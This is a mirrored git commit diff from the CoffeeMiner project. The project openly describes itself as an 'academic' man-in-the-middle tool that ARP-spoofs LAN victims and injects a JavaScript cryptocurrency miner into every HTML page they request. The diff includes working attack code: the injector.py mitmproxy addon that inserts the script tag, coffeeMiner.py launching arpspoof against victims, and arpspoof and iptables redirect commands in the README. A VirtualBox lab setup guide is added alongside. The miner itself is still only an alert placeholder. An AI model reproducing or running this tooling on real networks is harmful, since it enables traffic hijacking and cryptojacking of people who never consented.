mirror of
https://github.com/arnaucube/coffeeMiner.git
synced 2026-02-07 02:56:42 +01:00
working
This commit is contained in:
57
README.md
57
README.md
@@ -1,12 +1,12 @@
|
|||||||
# CoffeeMiner
|
# CoffeeMiner
|
||||||
|
|
||||||
Collaborative Coffee Mining Pool.
|
Collaborative (mitm) cryptocurrency mining pool in wifi networks
|
||||||
|
|
||||||
**Warning: this project is only with academic purposes.**
|
**Warning: this project is for academic/research purposes only.**
|
||||||
|
|
||||||
|
|
||||||
## Concept
|
## Concept
|
||||||
- Performs a MITM attack
|
- Performs a MITM attack to all selected victims
|
||||||
- Injects a js script in all the HTML pages requested by the victims
|
- Injects a js script in all the HTML pages requested by the victims
|
||||||
- The js script injected contains a cryptocurrency miner
|
- The js script injected contains a cryptocurrency miner
|
||||||
- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner
|
- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner
|
||||||
@@ -18,53 +18,16 @@ Collaborative Coffee Mining Pool.
|
|||||||
bash install.sh
|
bash install.sh
|
||||||
```
|
```
|
||||||
- edit victims.txt with one IP per line
|
- edit victims.txt with one IP per line
|
||||||
|
- edit coffeeMiner.py, line 28, with the coffeeMiner httpserver IP:
|
||||||
|
```py
|
||||||
|
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
|
||||||
|
```
|
||||||
- run.py
|
- run.py
|
||||||
```
|
```
|
||||||
python run.py ipgateway
|
python3 coffeeMiner.py ipgateway
|
||||||
```
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
A complete instructions for academic scenario can be found in https://github.com/arnaucode/coffeeMiner/blob/master/virtualbox_scenario_instructions.md
|
||||||
---
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#### Manual use
|
|
||||||
- needs to have installed **mitmproxy**
|
|
||||||
https://mitmproxy.org/
|
|
||||||
- installation:
|
|
||||||
```
|
|
||||||
sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
|
|
||||||
|
|
||||||
pip3 install --user mitmproxy
|
|
||||||
```
|
|
||||||
|
|
||||||
- needs python 3.*
|
|
||||||
|
|
||||||
|
|
||||||
- configure IPTABLES
|
|
||||||
|
|
||||||
```
|
|
||||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
||||||
|
|
||||||
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|
||||||
|
|
||||||
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
|
|
||||||
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
|
|
||||||
```
|
|
||||||
|
|
||||||
- arpspoof to the victims
|
|
||||||
```
|
|
||||||
arpspoof -i eth0 -t <victim_ip> <gateway_ip>
|
|
||||||
arpspoof -i eth0 -t <gateway_ip> <victim_ip>
|
|
||||||
```
|
|
||||||
- execute the httpServer.py that will serve the script.js that contains the minner:
|
|
||||||
```
|
|
||||||
python httpServer.py
|
|
||||||
```
|
|
||||||
|
|
||||||
- execute the mitmproxy with the injector.py script:
|
|
||||||
```
|
|
||||||
#~/.local/bin/mitmdump -s "injector.py http://127.0.0.1:8000/script.js"
|
|
||||||
```
|
|
||||||
|
|||||||
@@ -22,10 +22,10 @@ for victim in victims:
|
|||||||
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
|
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
|
||||||
|
|
||||||
# start the http server for serving the script.js, in a new console
|
# start the http server for serving the script.js, in a new console
|
||||||
os.system("xterm -hold -e 'python httpServer.py' &")
|
os.system("xterm -hold -e 'python3 httpServer.py' &")
|
||||||
|
|
||||||
# start the mitmproxy
|
# start the mitmproxy
|
||||||
os.system("~/.local/bin/mitmdump -s 'injector.py http://127.0.0.1:8000/script.js'")
|
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
|
||||||
|
|
||||||
|
|
||||||
'''
|
'''
|
||||||
31
injector.py
31
injector.py
@@ -2,25 +2,44 @@
|
|||||||
# (this script works best with --anticache)
|
# (this script works best with --anticache)
|
||||||
from bs4 import BeautifulSoup
|
from bs4 import BeautifulSoup
|
||||||
from mitmproxy import ctx, http
|
from mitmproxy import ctx, http
|
||||||
|
import argparse
|
||||||
|
|
||||||
class Injector:
|
class Injector:
|
||||||
|
'''
|
||||||
def load(self, loader):
|
def load(self, loader):
|
||||||
loader.add_option(
|
loader.add_option(
|
||||||
"scr_url", str, "", "script_url to inject"
|
"scr_url", str, "", "script_url to inject"
|
||||||
)
|
)
|
||||||
|
'''
|
||||||
|
def __init__(self, path):
|
||||||
|
self.path = path
|
||||||
|
|
||||||
def response(self, flow: http.HTTPFlow) -> None:
|
def response(self, flow: http.HTTPFlow) -> None:
|
||||||
if ctx.options.scr_url:
|
#print("hola hola hola")
|
||||||
|
#print(self.path)
|
||||||
|
|
||||||
|
if self.path:
|
||||||
html = BeautifulSoup(flow.response.content, "html.parser")
|
html = BeautifulSoup(flow.response.content, "html.parser")
|
||||||
if html.body:
|
print(self.path)
|
||||||
|
print(flow.response.headers["content-type"])
|
||||||
|
if flow.response.headers["content-type"] == 'text/html':
|
||||||
|
print("uuuuuu")
|
||||||
|
print(flow.response.headers["content-type"])
|
||||||
|
print("asdf asdf asdf asdf asdf")
|
||||||
|
print("-----")
|
||||||
|
print("mmmmm")
|
||||||
script = html.new_tag(
|
script = html.new_tag(
|
||||||
"script",
|
"script",
|
||||||
src=context.src_url,
|
src=self.path,
|
||||||
type='application/javascript')
|
type='application/javascript')
|
||||||
html.body.insert(0, script)
|
html.body.insert(0, script)
|
||||||
flow.response.content = str(html).encode("utf8")
|
flow.response.content = str(html).encode("utf8")
|
||||||
context.log("Script injected.")
|
print("Script injected.")
|
||||||
|
|
||||||
|
def start():
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument("path", type=str)
|
||||||
|
args = parser.parse_args()
|
||||||
|
return Injector(args.path)
|
||||||
|
|
||||||
addons = [Injector()]
|
#addons = [Injector()]
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
#TODO put --yes to all installation commands
|
#TODO put --yes to all installation commands
|
||||||
|
|
||||||
# install arpspoof (dsniff)
|
# install arpspoof (dsniff)
|
||||||
sudo apt-get install dsniff
|
apt-get -y install dsniff
|
||||||
|
|
||||||
# install mitmproxy
|
# install mitmproxy
|
||||||
sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
|
apt-get -y install python3-dev python3-pip libffi-dev libssl-dev
|
||||||
pip3 install --user mitmproxy
|
pip3 install --user mitmproxy
|
||||||
|
|
||||||
# install BeautifulSoup
|
# install BeautifulSoup
|
||||||
|
|||||||
@@ -1 +1 @@
|
|||||||
alert("this will be the minner");
|
alert("if you can read this, the script has been injected. This will be the minner");
|
||||||
|
|||||||
BIN
network.png
Normal file
BIN
network.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 76 KiB |
78
virtualbox_scenario_instructions.md
Normal file
78
virtualbox_scenario_instructions.md
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
### Instructions to setup VirtualBox scenario
|
||||||
|
|
||||||
|
|
||||||
|
In each machine, remember to setup the dns server, for example, in /etc/resolv.conf:
|
||||||
|
|
||||||
|
```
|
||||||
|
nameserver 8.8.8.8
|
||||||
|
```
|
||||||
|
|
||||||
|
### Victim
|
||||||
|
- network adapter:
|
||||||
|
- Host-only Adapter
|
||||||
|
- /etc/network/interfaces:
|
||||||
|
|
||||||
|
```
|
||||||
|
auto lo
|
||||||
|
iface lo inet loopback
|
||||||
|
|
||||||
|
auto eth0
|
||||||
|
iface eth0 inet static
|
||||||
|
address 10.0.2.20
|
||||||
|
netmask 255.255.255.0
|
||||||
|
gateway 10.0.2.15
|
||||||
|
```
|
||||||
|
|
||||||
|
### Attacker
|
||||||
|
- network adapter:
|
||||||
|
- Host-only Adapter
|
||||||
|
- /etc/network/interfaces:
|
||||||
|
|
||||||
|
```
|
||||||
|
auto lo
|
||||||
|
iface lo inet loopback
|
||||||
|
|
||||||
|
auto eth0
|
||||||
|
iface eth0 inet static
|
||||||
|
address 10.0.2.10
|
||||||
|
netmask 255.255.255.0
|
||||||
|
gateway 10.0.2.15
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Gateway
|
||||||
|
- network adapter:
|
||||||
|
- Bridged Adapter
|
||||||
|
- Host-only Adapter
|
||||||
|
- /etc/network/interfaces:
|
||||||
|
|
||||||
|
```
|
||||||
|
auto lo
|
||||||
|
iface lo inet loopback
|
||||||
|
|
||||||
|
auto eth0
|
||||||
|
iface eth0 inet dhcp
|
||||||
|
|
||||||
|
auto eth1
|
||||||
|
iface eth1 inet static
|
||||||
|
address 10.0.2.15
|
||||||
|
netmask 255.255.255.0
|
||||||
|
```
|
||||||
|
|
||||||
|
Clean IPTABLES:
|
||||||
|
|
||||||
|
```
|
||||||
|
iptables --flush
|
||||||
|
iptables --table nat --flush
|
||||||
|
```
|
||||||
|
|
||||||
|
Configure the Gateway machine as a router:
|
||||||
|
|
||||||
|
```
|
||||||
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||||
|
|
||||||
|
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||||
|
|
||||||
|
iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
|
||||||
|
iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT
|
||||||
|
```
|
||||||
Reference in New Issue
Block a user